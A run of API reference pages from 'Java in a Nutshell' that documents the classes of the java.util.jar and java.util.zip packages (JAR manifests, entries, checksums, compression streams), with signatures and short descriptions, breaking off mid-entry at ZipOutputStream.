 | public Object get (Object key); |
 | public boolean isEmpty (); | default:true
 | public Object put (Object key, Object value); |
 | public Object remove (Object key); |
 | public int size (); |
}

Hierarchy: Object-->AbstractMap(Map)-->WeakHashMap(Map)

Previous | Home | Next
22.1. The java.text Package | Book Index | 24. The java.util.jar Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.util.jar Package (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 24. The java.util.jar Package

The java.util.jar package contains classes for reading and writing Java archive, or JAR, files. A JAR file is nothing more than a ZIP file whose first entry is a specially named manifest file that contains attributes and digital signatures for the ZIP file entries that follow it. Many of the classes in this package are relatively simple extensions of classes from the java.util.zip package. Figure 24-1 shows the class hierarchy of this package.

Figure 24-1. The java.util.jar package

The easiest way to read a JAR file is with the random-access JarFile class. This class allows you to obtain the JarEntry that describes any named file within the JAR archive. It also allows you to obtain an enumeration of all entries in the archive and an InputStream for reading the bytes of a specific JarEntry. Each JarEntry describes a single entry in the archive and allows access to the Attributes and the digital signatures associated with the entry. The JarFile also provides access to the Manifest object for the JAR archive; this object contains Attributes for all entries in the JAR file. Attributes is a mapping of attribute name/value pairs, of course, and the inner class Attributes.Name defines constants for various standard attribute names.

You can also read a JAR file with JarInputStream. This class requires to you read each entry of the file sequentially, however. JarOutputStream allows you to write out a JAR file sequentially. Finally, you can also read an entry within a JAR file and manifest attributes for that entry with a java.net.JarURLConnection object.

Attributes | Java 1.2
java.util.jar | cloneable collection

This class is a java.util.Map that maps the attribute names of a JAR file manifest to arbitrary string values. The JAR manifest format specifies that attribute names can contain only the ASCII characters A to Z (uppercase and lowercase), the digits 0 through 9, and the hyphen and underscore characters. Thus, this class uses Attributes.Name as the type of attribute names, in addition to the more general String class. Although you can create your own Attributes objects, you more commonly obtain Attributes objects from a Manifest.

public class Attributes implements Cloneablejava.util.Map {
// | Public Constructors
 | public Attributes (); |
 | public Attributes (java.util.jar.Attributes attr); |
 | public Attributes (int size); |
// | Inner Classes
 | ; |
// | Public Instance Methods
 | public String getValue (Attributes.Name name); |
 | public String getValue (String name); |
 | public String putValue (String name, String value); |
// | Methods Implementing Map
 | public void clear (); |
 | public boolean containsKey (Object name); |
 | public boolean containsValue (Object value); |
 | public java.util.Set entrySet (); |
 | public boolean equals (Object o); |
 | public Object get (Object name); |
 | public int hashCode (); |
 | public boolean isEmpty (); | default:true
 | public java.util.Set keySet (); |
 | public Object put (Object name, Object value); |
 | public void putAll (java.util.Map attr); |
 | public Object remove (Object name); |
 | public int size (); |
 | public java.util.Collection values (); |
// | Public Methods Overriding Object
 | public Object clone (); |
// | Protected Instance Fields
 | protected java.util.Map map ; |
}

Hierarchy: Object-->java.util.jar.Attributes(Cloneable,java.util.Map)

Passed To: java.util.jar.Attributes.Attributes()

Returned By: java.net.JarURLConnection.{getAttributes(), getMainAttributes()}, JarEntry.getAttributes(), Manifest.{getAttributes(), getMainAttributes()}

Attributes.Name Java 1.2
java.util.jar

This class represents the name of an attribute in an Attributes object. It defines constants for the various standard attribute names used in JAR file manifests. Attribute names can contain only ASCII letters, digits, and the hyphen and underscore characters. Any other Unicode characters are illegal.

public static class Attributes.Name {
// | Public Constructors
 | public Name (String name);
// | Public Constants
 | public static final Attributes.Name CLASS_PATH ;
 | public static final Attributes.Name CONTENT_TYPE ;
1.3 | public static final Attributes.Name EXTENSION_INSTALLATION ;
1.3 | public static final Attributes.Name EXTENSION_LIST ;
1.3 | public static final Attributes.Name EXTENSION_NAME ;
 | public static final Attributes.Name IMPLEMENTATION_TITLE ;
1.3 | public static final Attributes.Name IMPLEMENTATION_URL ;
 | public static final Attributes.Name IMPLEMENTATION_VENDOR ;
1.3 | public static final Attributes.Name IMPLEMENTATION_VENDOR_ID ;
 | public static final Attributes.Name IMPLEMENTATION_VERSION ;
 | public static final Attributes.Name MAIN_CLASS ;
 | public static final Attributes.Name MANIFEST_VERSION ;
 | public static final Attributes.Name SEALED ;
 | public static final Attributes.Name SIGNATURE_VERSION ;
 | public static final Attributes.Name SPECIFICATION_TITLE ;
 | public static final Attributes.Name SPECIFICATION_VENDOR ;
 | public static final Attributes.Name SPECIFICATION_VERSION ;
// | Public Methods Overriding Object
 | public boolean equals (Object o);
 | public int hashCode ();
 | public String toString ();
}

Passed To: java.util.jar.Attributes.getValue()

Type Of: Too many fields to list.

JarEntry | Java 1.2
java.util.jar | cloneable

This class extends java.util.zip.ZipEntry; it represents a single file in a JAR archive and the manifest attributes and digital signatures associated with that file. JarEntry objects can be read from a JAR file with JarFile or JarInputStream, and they can be written to a JAR file with JarOutputStream. Use getAttributes() to obtain the Attributes for the entry. Use getCertificates() to obtain a java.security.cert.Certificate array that contains the certificate chains for all digital signatures associated with the file.

public class JarEntry extends java.util.zip.ZipEntry {
// | Public Constructors
 | public JarEntry (JarEntry je);
 | public JarEntry (String name);
 | public JarEntry (java.util.zip.ZipEntry ze);
// | Public Instance Methods
 | public java.util.jar.Attributes getAttributes () throws java.io.IOException;
 | public java.security.cert.Certificate[ ] getCertificates ();
}

Hierarchy: Object-->java.util.zip.ZipEntry(Cloneable,java.util.zip.ZipConstants)-->JarEntry

Passed To: JarEntry.JarEntry()

Returned By: java.net.JarURLConnection.getJarEntry(), JarFile.getJarEntry(), JarInputStream.getNextJarEntry()

JarException | Java 1.2
java.util.jar | serializable checked

Signals an error while reading or writing a JAR file.

public class JarException extends java.util.zip.ZipException {
// | Public Constructors
 | public JarException ();
 | public JarException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.io.IOException-->java.util.zip.ZipException-->JarException

JarFile Java 1.2
java.util.jar

This class represents a JAR file and allows the manifest, file list, and individual files to be read from the JAR file. It extends java.util.zip.ZipFile, and its use is similar to that of its superclass. Create a JarFile by specifying a filename or File object. If you do not want JarFile to attempt to verify any digital signatures contained in the JarFile, pass an optional boolean argument of false to the JarFile() constructor. In Java 1.3, temporary JAR files can be automatically deleted when they are closed. To take advantage of this feature, pass ZipFile.OPEN_READ|ZipFile.OPEN_DELETE as the mode argument to the JarFile() constructor.

Once you have created a JarFile object, obtain the JAR Manifest with getManifest(). Obtain an enumeration of the java.util.zip.ZipEntry objects in the file with entries(). Get the JarEntry for a specified file in the JAR file with getJarEntry(). To read the contents of a specific entry in the JAR file, obtain the JarEntry or ZipEntry object that represents that entry, pass it to getInputStream(), and then read until the end of that stream. JarFile does not support the creation of new JAR files or the modification of existing files.

public class JarFile extends java.util.zip.ZipFile {
// | Public Constructors
 | public JarFile (java.io.File file) throws java.io.IOException; |
 | public JarFile (String name) throws java.io.IOException; |
 | public JarFile (java.io.File file, boolean verify) throws java.io.IOException; |
 | public JarFile (String name, boolean verify) throws java.io.IOException; |
1.3 | public JarFile (java.io.File file, boolean verify, int mode) throws java.io.IOException; |
// | Public Constants
 | public static final String MANIFEST_NAME ; | ="META-INF/MANIFEST.MF"
// | Public Instance Methods
 | public JarEntry getJarEntry (String name); |
 | public Manifest getManifest () throws java.io.IOException; |
// | Public Methods Overriding ZipFile
 | public java.util.Enumeration entries (); |
 | public java.util.zip.ZipEntry getEntry (String name); |
 | public java.io.InputStream getInputStream (java.util.zip.ZipEntry ze) throws java.io.IOException; | synchronized
}

Hierarchy: Object-->java.util.zip.ZipFile(java.util.zip.ZipConstants)-->JarFile

Returned By: java.net.JarURLConnection.getJarFile()

JarInputStream Java 1.2
java.util.jar

This class allows a JAR file to be read from an input stream. It extends java.util.ZipInputStream and is used much like that class is used. To create a JarInputStream, simply specify the InputStream from which to read. If you do not want the JarInputStream to attempt to verify any digital signatures contained in the JAR file, pass false as the second argument to the JarInputStream() constructor. The JarInputStream() constructor first reads the JAR manifest entry, if one exists. The manifest must be the first entry in the JAR file. getManifest() returns the Manifest object for the JAR file.

Once you have created a JarInputStream, call getNextJarEntry() or getNextEntry() to obtain the JarEntry or java.util.zip.ZipEntry object that describes the next entry in the JAR file. Then, call a read() method (including the inherited versions) to read the contents of that entry. When the stream reaches the end of file, call getNextJarEntry() again to start reading the next entry in the file. When all entries have been read from the JAR file, getNextJarEntry() and getNextEntry() return null.

public class JarInputStream extends java.util.zip.ZipInputStream {
// | Public Constructors
 | public JarInputStream (java.io.InputStream in) throws java.io.IOException;
 | public JarInputStream (java.io.InputStream in, boolean verify) throws java.io.IOException;
// | Public Instance Methods
 | public Manifest getManifest ();
 | public JarEntry getNextJarEntry () throws java.io.IOException;
// | Public Methods Overriding ZipInputStream
 | public java.util.zip.ZipEntry getNextEntry () throws java.io.IOException;
 | public int read (byte[ ] b, int off, int len) throws java.io.IOException;
// | Protected Methods Overriding ZipInputStream
 | protected java.util.zip.ZipEntry createZipEntry (String name);
}

Hierarchy: Object-->java.io.InputStream-->java.io.FilterInputStream-->java.util.zip.InflaterInputStream-->java.util.zip.ZipInputStream(java.util.zip.ZipConstants)-->JarInputStream

JarOutputStream Java 1.2
java.util.jar

This class can write a JAR file to an arbitrary OutputStream. JarOutputStream extends java.util.zip.ZipOutputStream and is used much like that class is used. Create a JarOutputStream by specifying the stream to write to and, optionally, the Manifest object for the JAR file. The JarOutputStream() constructor starts by writing the contents of the Manifest object into an appropriate JAR file entry. It is the programmer's responsibility to ensure that the contents of the JAR entries written subsequently match those specified in the Manifest object. This class provides no explicit support for attaching digital signatures to entries in the JAR file.

After creating a JarOutputStream, call putNextEntry() to specify the JarEntry or java.util.zip.ZipEntry to be written to the stream. Then, call any of the inherited write() methods to write the contents of the entry to the stream. When that entry is finished, call putNextEntry() again to begin writing the next entry. When you have written all JAR file entries in this way, call close(). Before writing any entry, you may call the inherited setMethod() and setLevel() methods to specify how the entry should be compressed. See java.util.zip.ZipOutputStream.

public class JarOutputStream extends java.util.zip.ZipOutputStream {
// | Public Constructors
 | public JarOutputStream (java.io.OutputStream out) throws java.io.IOException;
 | public JarOutputStream (java.io.OutputStream out, Manifest man) throws java.io.IOException;
// | Public Methods Overriding ZipOutputStream
 | public void putNextEntry (java.util.zip.ZipEntry ze) throws java.io.IOException;
}

Hierarchy: Object-->java.io.OutputStream-->java.io.FilterOutputStream-->java.util.zip.DeflaterOutputStream-->java.util.zip.ZipOutputStream(java.util.zip.ZipConstants)-->JarOutputStream

Manifest | Java 1.2
java.util.jar | cloneable

This class represents the manifest entry of a JAR file. getMainAttributes() returns an Attributes object that represents the manifest attributes that apply to the entire JAR file. getAttributes() returns an Attributes object that represents the manifest attributes specified for a single file in the JAR file. getEntries() returns a java.util.Map that maps the names of entries in the JAR file to the Attributes objects associated with those entries. getEntries() returns the Map object used internally by the Manifest. You can edit the contents of the Manifest by adding, deleting, or editing entries in the Map. read() reads manifest entries from an input stream, merging them into the current set of entries. write() writes the Manifest out to the specified output stream.

public class Manifest implements Cloneable {
// | Public Constructors
 | public Manifest (); |
 | public Manifest (Manifest man); |
 | public Manifest (java.io.InputStream is) throws java.io.IOException; |
// | Public Instance Methods
 | public void clear (); |
 | public java.util.jar.Attributes getAttributes (String name); |
 | public java.util.Map getEntries (); | default:HashMap
 | public java.util.jar.Attributes getMainAttributes (); |
 | public void read (java.io.InputStream is) throws java.io.IOException; |
 | public void write (java.io.OutputStream out) throws java.io.IOException; |
// | Public Methods Overriding Object
 | public Object clone (); |
 | public boolean equals (Object o); |
 | public int hashCode (); |
}

Hierarchy: Object-->Manifest(Cloneable)

Passed To: java.net.URLClassLoader.definePackage(), JarOutputStream.JarOutputStream(), Manifest.Manifest()

Returned By: java.net.JarURLConnection.getManifest(), JarFile.getManifest(), JarInputStream.getManifest()

Previous | Home | Next
23.3. The java.util Package | Book Index | 25. The java.util.zip Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.util.zip Package (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 25. The java.util.zip Package

The java.util.zip package contains classes for data compression and decompression. It is new as of Java 1.1. Figure 25-1 shows the class hierarchy of the package. The Deflater and Inflater classes perform data compression and decompression. DeflaterOutputStream and InflaterInputStream apply that functionality to byte streams; the subclasses of these streams implement both the GZIP and ZIP compression formats. The Adler32 and CRC32 classes implement the Checksum interface and compute the checksums required for data compression.

Figure 25-1. The java.util.zip package

Adler32 | Java 1.1
java.util.zip | PJ1.1(opt)

This class implements the Checksum interface and computes a checksum on a stream of data using the Adler-32 algorithm. This algorithm is significantly faster than the CRC-32 algorithm and is almost as reliable. The CheckedInputStream and CheckedOutputStream classes provide a higher-level interface to computing checksums on streams of data.

public class Adler32 implements Checksum {
// | Public Constructors
 | public Adler32 (); |
// | Public Instance Methods
 | public void update (byte[ ] b); |
// | Methods Implementing Checksum
 | public long getValue (); | default:1
 | public void reset (); |
 | public void update (int b); |
 | public void update (byte[ ] b, int off, int len); |
}

Hierarchy: Object-->Adler32(Checksum)

CheckedInputStream | Java 1.1
java.util.zip | PJ1.1

This class is a subclass of java.io.FilterInputStream; it allows a stream to be read and a checksum computed on its contents at the same time. This is useful when you want to check the integrity of a stream of data against a published checksum value. To create a CheckedInputStream, you must specify both the stream it should read and a Checksum object, such as CRC32, that implements the particular checksum algorithm you desire. The read() and skip() methods are the same as those of other input streams. As bytes are read, they are incorporated into the checksum that is being computed. The getChecksum() method does not return the checksum value itself, but rather the Checksum object. You must call the getValue() method of this object to obtain the checksum value.

public class CheckedInputStream extends java.io.FilterInputStream {
// | Public Constructors
 | public CheckedInputStream (java.io.InputStream in, Checksum cksum);
// | Public Instance Methods
 | public Checksum getChecksum ();
// | Public Methods Overriding FilterInputStream
 | public int read () throws java.io.IOException;
 | public int read (byte[ ] buf, int off, int len) throws java.io.IOException;
 | public long skip (long n) throws java.io.IOException;
}

Hierarchy: Object-->java.io.InputStream-->java.io.FilterInputStream-->CheckedInputStream

CheckedOutputStream | Java 1.1
java.util.zip | PJ1.1

This class is a subclass of java.io.FilterOutputStream that allows data to be written to a stream and a checksum computed on that data at the same time. To create a CheckedOutputStream, you must specify both the output stream to write its data to and a Checksum object, such as an instance of Adler32, that implements the particular checksum algorithm you desire. The write() methods are similar to those of other OutputStream classes. The getChecksum() method returns the Checksum object. You must call getValue() on this object in order to obtain the actual checksum value.

public class CheckedOutputStream extends java.io.FilterOutputStream {
// | Public Constructors
 | public CheckedOutputStream (java.io.OutputStream out, Checksum cksum);
// | Public Instance Methods
 | public Checksum getChecksum ();
// | Public Methods Overriding FilterOutputStream
 | public void write (int b) throws java.io.IOException;
 | public void write (byte[ ] b, int off, int len) throws java.io.IOException;
}

Hierarchy: Object-->java.io.OutputStream-->java.io.FilterOutputStream-->CheckedOutputStream

Checksum | Java 1.1
java.util.zip | PJ1.1

This interface defines the methods required to compute a checksum on a stream of data. The checksum is computed based on the bytes of data supplied by the update() methods; the current value of the checksum can be obtained at any time with the getValue() method. reset() resets the checksum to its default value; use this method before beginning a new stream of data. The checksum value computed by a Checksum object and returned through the getValue() method must fit into a long value. Therefore, this interface is not suitable for the cryptographic checksum algorithms used in cryptography and security. The classes CheckedInputStream and CheckedOutputStream provide a higher-level API for computing a checksum on a stream of data. See also java.security.MessageDigest.

public interface Checksum {
// | Public Instance Methods
 | public abstract long getValue ();
 | public abstract void reset ();
 | public abstract void update (int b);
 | public abstract void update (byte[ ] b, int off, int len);
}

Implementations: Adler32, CRC32

Passed To: CheckedInputStream.CheckedInputStream(), CheckedOutputStream.CheckedOutputStream()

Returned By: CheckedInputStream.getChecksum(), CheckedOutputStream.getChecksum()

CRC32 | Java 1.1
java.util.zip | PJ1.1

This class implements the Checksum interface and computes a checksum on a stream of data using the CRC-32 algorithm. The CheckedInputStream and CheckedOutputStream classes provide a higher-level interface to computing checksums on streams of data.

public class CRC32 implements Checksum {
// | Public Constructors
 | public CRC32 (); |
// | Public Instance Methods
 | public void update (byte[ ] b); |
// | Methods Implementing Checksum
 | public long getValue (); | default:0
 | public void reset (); |
 | public void update (int b); |
 | public void update (byte[ ] b, int off, int len); |
}

Hierarchy: Object-->CRC32(Checksum)

Type Of: GZIPInputStream.crc, GZIPOutputStream.crc

DataFormatException | Java 1.1
java.util.zip | serializable checked PJ1.1

Signals that invalid or corrupt data has been encountered while uncompressing data.

public class DataFormatException extends Exception {
// | Public Constructors
 | public DataFormatException ();
 | public DataFormatException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->DataFormatException

Thrown By: Inflater.inflate()

Deflater | Java 1.1
java.util.zip | PJ1.1(opt)

This class implements the general ZLIB data-compression algorithm used by the gzip and PKZip compression programs. The constants defined by this class are used to specify the compression strategy and the compression speed/strength tradeoff level to be used. If you set the nowrap argument to the constructor to true, the ZLIB header and checksum data are omitted from the compressed output, which is the format both gzip and PKZip use.

The important methods of this class are setInput(), which specifies input data to be compressed, and deflate(), which compresses the data and returns the compressed output. The remaining methods exist so that Deflater can be used for stream-based compression, as it is in higher-level classes, such as GZIPOutputStream and ZipOutputStream. These stream classes are sufficient in most cases. Most applications do not need to use Deflater directly. The Inflater class uncompresses data compressed with a Deflater object.

public class Deflater {
// | Public Constructors
 | public Deflater (); |
 | public Deflater (int level); |
 | public Deflater (int level, boolean nowrap); |
// | Public Constants
 | public static final int BEST_COMPRESSION ; | =9
 | public static final int BEST_SPEED ; | =1
 | public static final int DEFAULT_COMPRESSION ; | =-1
 | public static final int DEFAULT_STRATEGY ; | =0
 | public static final int DEFLATED ; | =8
 | public static final int FILTERED ; | =1
 | public static final int HUFFMAN_ONLY ; | =2
 | public static final int NO_COMPRESSION ; | =0
// | Property Accessor Methods (by property name)
 | public int getAdler (); | synchronized default:1
 | public int getTotalIn (); | synchronized default:0
 | public int getTotalOut (); | synchronized default:0
// | Public Instance Methods
 | public int deflate (byte[ ] b); |
 | public int deflate (byte[ ] b, int off, int len); | synchronized
 | public void end (); | synchronized
 | public void finish (); | synchronized
 | public boolean finished (); | synchronized
 | public boolean needsInput (); |
 | public void reset (); | synchronized
 | public void setDictionary (byte[ ] b); |
 | public void setDictionary (byte[ ] b, int off, int len); | synchronized
 | public void setInput (byte[ ] b); |
 | public void setInput (byte[ ] b, int off, int len); | synchronized
 | public void setLevel (int level); | synchronized
 | public void setStrategy (int strategy); | synchronized
// | Protected Methods Overriding Object
 | protected void finalize (); |
}

Passed To: DeflaterOutputStream.DeflaterOutputStream()

Type Of: DeflaterOutputStream.def

DeflaterOutputStream | Java 1.1
java.util.zip | PJ1.1(opt)

This class is a subclass of java.io.FilterOutputStream; it filters a stream of data by compressing (deflating) it and then writing the compressed data to another output stream. To create a DeflaterOutputStream, you must specify both the stream it is to write to and a Deflater object to perform the compression. You can set various options on the Deflater object to specify just what type of compression is to be performed. Once a DeflaterOutputStream is created, its write() and close() methods are the same as those of other output streams. The InflaterInputStream class can read data written with a DeflaterOutputStream. A DeflaterOutputStream writes raw compressed data; applications often prefer one of its subclasses, GZIPOutputStream or ZipOutputStream, that wraps the raw compressed data within a standard file format.

public class DeflaterOutputStream extends java.io.FilterOutputStream {
// | Public Constructors
 | public DeflaterOutputStream (java.io.OutputStream out);
 | public DeflaterOutputStream (java.io.OutputStream out, Deflater def);
 | public DeflaterOutputStream (java.io.OutputStream out, Deflater def, int size);
// | Public Instance Methods
 | public void finish () throws java.io.IOException;
// | Public Methods Overriding FilterOutputStream
 | public void close () throws java.io.IOException;
 | public void write (int b) throws java.io.IOException;
 | public void write (byte[ ] b, int off, int len) throws java.io.IOException;
// | Protected Instance Methods
 | protected void deflate () throws java.io.IOException;
// | Protected Instance Fields
 | protected byte[ ] buf ;
 | protected Deflater def ;
}

Hierarchy: Object-->java.io.OutputStream-->java.io.FilterOutputStream-->DeflaterOutputStream

Subclasses: GZIPOutputStream, ZipOutputStream

GZIPInputStream | Java 1.1
java.util.zip | PJ1.1

This class is a subclass of InflaterInputStream that reads and uncompresses data compressed in gzip format. To create a GZIPInputStream, simply specify the InputStream to read compressed data from and, optionally, a buffer size for the internal decompression buffer. Once a GZIPInputStream is created, you can use the read() and close() methods as you would with any input stream.

public class GZIPInputStream extends InflaterInputStream {
// | Public Constructors
 | public GZIPInputStream (java.io.InputStream in) throws java.io.IOException; |
 | public GZIPInputStream (java.io.InputStream in, int size) throws java.io.IOException; |
// | Public Constants
 | public static final int GZIP_MAGIC ; | =35615
// | Public Methods Overriding InflaterInputStream
 | public void close () throws java.io.IOException; |
 | public int read (byte[ ] buf, int off, int len) throws java.io.IOException; |
// | Protected Instance Fields
 | protected CRC32 crc ; |
 | protected boolean eos ; |
}

Hierarchy: Object-->java.io.InputStream-->java.io.FilterInputStream-->InflaterInputStream-->GZIPInputStream

GZIPOutputStream | Java 1.1
java.util.zip | PJ1.1(opt)

This class is a subclass of DeflaterOutputStream that compresses and writes data using the gzip file format. To create a GZIPOutputStream, specify the OutputStream to write to and, optionally, a size for the internal compression buffer. Once the GZIPOutputStream is created, you can use the write() and close() methods as you would any output stream.

public class GZIPOutputStream extends DeflaterOutputStream {
// | Public Constructors
 | public GZIPOutputStream (java.io.OutputStream out) throws java.io.IOException; |
 | public GZIPOutputStream (java.io.OutputStream out, int size) throws java.io.IOException; |
// | Public Methods Overriding DeflaterOutputStream
 | public void close () throws java.io.IOException; |
 | public void finish () throws java.io.IOException; |
 | public void write (byte[ ] buf, int off, int len) throws java.io.IOException; | synchronized
// | Protected Instance Fields
 | protected CRC32 crc ; |
}

Hierarchy: Object-->java.io.OutputStream-->java.io.FilterOutputStream-->DeflaterOutputStream-->GZIPOutputStream

Inflater | Java 1.1
java.util.zip | PJ1.1(mod)

This class implements the general ZLIB data-decompression algorithm used by gzip, PKZip, and other data-compression applications. It decompresses or inflates data compressed through the Deflater class. The important methods of this class are setInput(), which specifies input data to be decompressed, and inflate(), which decompresses the input data into an output buffer. A number of other methods exist so that this class can be used for stream-based decompression, as it is in the higher-level classes, such as GZIPInputStream and ZipInputStream. These stream-based classes are sufficient in most cases. Most applications do not need to use Inflater directly.

public class Inflater {
// | Public Constructors
 | public Inflater (); |
 | public Inflater (boolean nowrap); |
// | Property Accessor Methods (by property name)
 | public int getAdler (); | synchronized default:1
 | public int getRemaining (); | synchronized default:0
 | public int getTotalIn (); | synchronized default:0
 | public int getTotalOut (); | synchronized default:0
// | Public Instance Methods
 | public void end (); | synchronized
 | public boolean finished (); | synchronized
 | public int inflate (byte[ ] b) throws DataFormatException; |
 | public int inflate (byte[ ] b, int off, int len) throws DataFormatException; | synchronized
 | public boolean needsDictionary (); | synchronized
 | public boolean needsInput (); | synchronized
 | public void reset (); | synchronized
 | public void setDictionary (byte[ ] b); |
 | public void setDictionary (byte[ ] b, int off, int len); | synchronized
 | public void setInput (byte[ ] b); |
 | public void setInput (byte[ ] b, int off, int len); | synchronized
// | Protected Methods Overriding Object
 | protected void finalize (); |
}

Passed To: InflaterInputStream.InflaterInputStream()

Type Of: InflaterInputStream.inf

InflaterInputStream | Java 1.1
java.util.zip | PJ1.1

This class is a subclass of java.io.FilterInputStream; it reads a specified stream of compressed input data (typically one that was written with DeflaterOutputStream or a subclass) and filters that data by uncompressing (inflating) it. To create an InflaterInputStream, specify both the input stream to read from and an Inflater object to perform the decompression. Once an InflaterInputStream is created, the read() and skip() methods are the same as those of other input streams. The InflaterInputStream uncompresses raw data. Applications often prefer one of its subclasses, GZIPInputStream or ZipInputStream, that work with compressed data written in the standard gzip and PKZip file formats.

public class InflaterInputStream extends java.io.FilterInputStream {
// | Public Constructors
 | public InflaterInputStream (java.io.InputStream in);
 | public InflaterInputStream (java.io.InputStream in, Inflater inf);
 | public InflaterInputStream (java.io.InputStream in, Inflater inf, int size);
// | Public Methods Overriding FilterInputStream
1.2 | public int available () throws java.io.IOException;
1.2 | public void close () throws java.io.IOException;
 | public int read () throws java.io.IOException;
 | public int read (byte[ ] b, int off, int len) throws java.io.IOException;
 | public long skip (long n) throws java.io.IOException;
// | Protected Instance Methods
 | protected void fill () throws java.io.IOException;
// | Protected Instance Fields
 | protected byte[ ] buf ;
 | protected Inflater inf ;
 | protected int len ;
}

Hierarchy: Object-->java.io.InputStream-->java.io.FilterInputStream-->InflaterInputStream

Subclasses: GZIPInputStream, ZipInputStream

ZipEntry | Java 1.1
java.util.zip | cloneable PJ1.1

This class describes a single entry (typically a compressed file) stored within a ZIP file. The various methods get and set various pieces of information about the entry. The ZipEntry class is used by ZipFile and ZipInputStream, which read ZIP files, and by ZipOutputStream, which writes ZIP files.

When you are reading a ZIP file, a ZipEntry object returned by ZipFile or ZipInputStream contains the name, size, modification time, and other information about an entry in the file. When writing a ZIP file, on the other hand, you must create your own ZipEntry objects and initialize them to contain the entry name and other appropriate information before writing the contents of the entry.

public class ZipEntry implements Cloneable {
// | Public Constructors
1.2 | public ZipEntry (ZipEntry e); |
 | public ZipEntry (String name); |
// | Public Constants
 | public static final int DEFLATED ; | =8
 | public static final int STORED ; | =0
// | Property Accessor Methods (by property name)
 | public String getComment (); |
 | public void setComment (String comment); |
 | public long getCompressedSize (); |
1.2 | public void setCompressedSize (long csize); |
 | public long getCrc (); |
 | public void setCrc (long crc); |
 | public boolean isDirectory (); |
 | public byte[ ] getExtra (); |
 | public void setExtra (byte[ ] extra); |
 | public int getMethod (); |
 | public void setMethod (int method); |
 | public String getName (); |
 | public long getSize (); |
 | public void setSize (long size); |
 | public long getTime (); |
 | public void setTime (long time); |
// | Public Methods Overriding Object
1.2 | public Object clone (); |
1.2 | public int hashCode (); |
 | public String toString (); |
}

Hierarchy: Object-->ZipEntry(Cloneable,ZipConstants)

Subclasses: java.util.jar.JarEntry

Passed To: java.util.jar.JarEntry.JarEntry(), java.util.jar.JarFile.getInputStream(), java.util.jar.JarOutputStream.putNextEntry(), ZipEntry.ZipEntry(), ZipFile.getInputStream(), ZipOutputStream.putNextEntry()

Returned By: java.util.jar.JarFile.getEntry(), java.util.jar.JarInputStream.{createZipEntry(), getNextEntry()}, ZipFile.getEntry(), ZipInputStream.{createZipEntry(), getNextEntry()}

ZipException | Java 1.1
java.util.zip | serializable checked PJ1.1

Signals that an error has occurred in reading or writing a ZIP file.

public class ZipException extends java.io.IOException {
// | Public Constructors
 | public ZipException ();
 | public ZipException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.io.IOException-->ZipException

Subclasses: java.util.jar.JarException

Thrown By: ZipFile.ZipFile()

ZipFile | Java 1.1
java.util.zip | PJ1.1(opt)

This class reads the contents of ZIP files. It uses a random-access file internally so that the entries of the ZIP file do not have to be read sequentially, as they do with the ZipInputStream class. A ZipFile object can be created by specifying the ZIP file to be read either as a String filename or as a File object. In Java 1.3, temporary ZIP files can be marked for automatic deletion when they are closed. To take advantage of this feature, pass ZipFile.OPEN_READ|ZipFile.OPEN_DELETE as the mode argument to the ZipFile() constructor.

Once a ZipFile is created, the getEntry() method returns a ZipEntry object for a named entry, and the entries() method returns an Enumeration object that allows you to loop through all the ZipEntry objects for the file. To read the contents of a specific ZipEntry within the ZIP file, pass the ZipEntry to getInputStream(); this returns an InputStream object from which you can read the entry's contents.

public class ZipFile {
// | Public Constructors
 | public ZipFile (String name) throws java.io.IOException; |
 | public ZipFile (java.io.File file) throws ZipExceptionjava.io.IOException; |
1.3 | public ZipFile (java.io.File file, int mode) throws java.io.IOException; |
// | Public Constants
1.3 | public static final int OPEN_DELETE ; | =4
1.3 | public static final int OPEN_READ ; | =1
// | Public Instance Methods
 | public void close () throws java.io.IOException; |
 | public java.util.Enumeration entries (); |
 | public ZipEntry getEntry (String name); |
 | public java.io.InputStream getInputStream (ZipEntry entry) throws java.io.IOException; |
 | public String getName (); |
1.2 | public int size (); |
}

Hierarchy: Object-->ZipFile(ZipConstants)

Subclasses: java.util.jar.JarFile

ZipInputStream | Java 1.1
java.util.zip | PJ1.1

This class is a subclass of InflaterInputStream that reads the entries of a ZIP file in sequential order. Create a ZipInputStream by specifying the InputStream from which it is to read the contents of the ZIP file. Once the ZipInputStream is created, you can use getNextEntry() to begin reading data from the next entry in the ZIP file. This method must be called before read() is called to begin reading the first entry. getNextEntry() returns a ZipEntry object that describes the entry being read, or null when there are no more entries to be read from the ZIP file.

The read() methods of ZipInputStream read until the end of the current entry and then return -1, indicating that there is no more data to read. To continue with the next entry in the ZIP file, you must call getNextEntry() again. Similarly, the skip() method only skips bytes within the current entry. closeEntry() can be called to skip the remaining data in the current entry, but it is usually easier simply to call getNextEntry() to begin the next entry.

public class ZipInputStream extends InflaterInputStream {
// | Public Constructors
 | public ZipInputStream (java.io.InputStream in);
// | Public Instance Methods
 | public void closeEntry () throws java.io.IOException;
 | public ZipEntry getNextEntry () throws java.io.IOException;
// | Public Methods Overriding InflaterInputStream
1.2 | public int available () throws java.io.IOException;
 | public void close () throws java.io.IOException;
 | public int read (byte[ ] b, int off, int len) throws java.io.IOException;
 | public long skip (long n) throws java.io.IOException;
// | Protected Instance Methods
1.2 | protected ZipEntry createZipEntry (String name);
}

Hierarchy: Object-->java.io.InputStream-->java.io.FilterInputStream-->InflaterInputStream-->ZipInputStream(ZipConstants)

Subclasses: java.util.jar.JarInputStream

ZipOutputStream | Java 1.1
java.util.zip | PJ1.1(opt)

This class is a subclass of DeflaterOutputStream that writes data in ZIP file format to an output stream. Before writing any data to the ZipOutputStream, you must begin an entry within the ZIP file with putNextEntry(). The ZipEntry object passed to this method should specify at least a name for the entry. Once you have begun an entry with putNextEntry(), you can write the contents of that entry with the write() methods. When you reach the end of an entry, you can begin a new one by calling putNextEntry() again, you can close the current entry with closeEntry(), or you can close the stream itself with close().

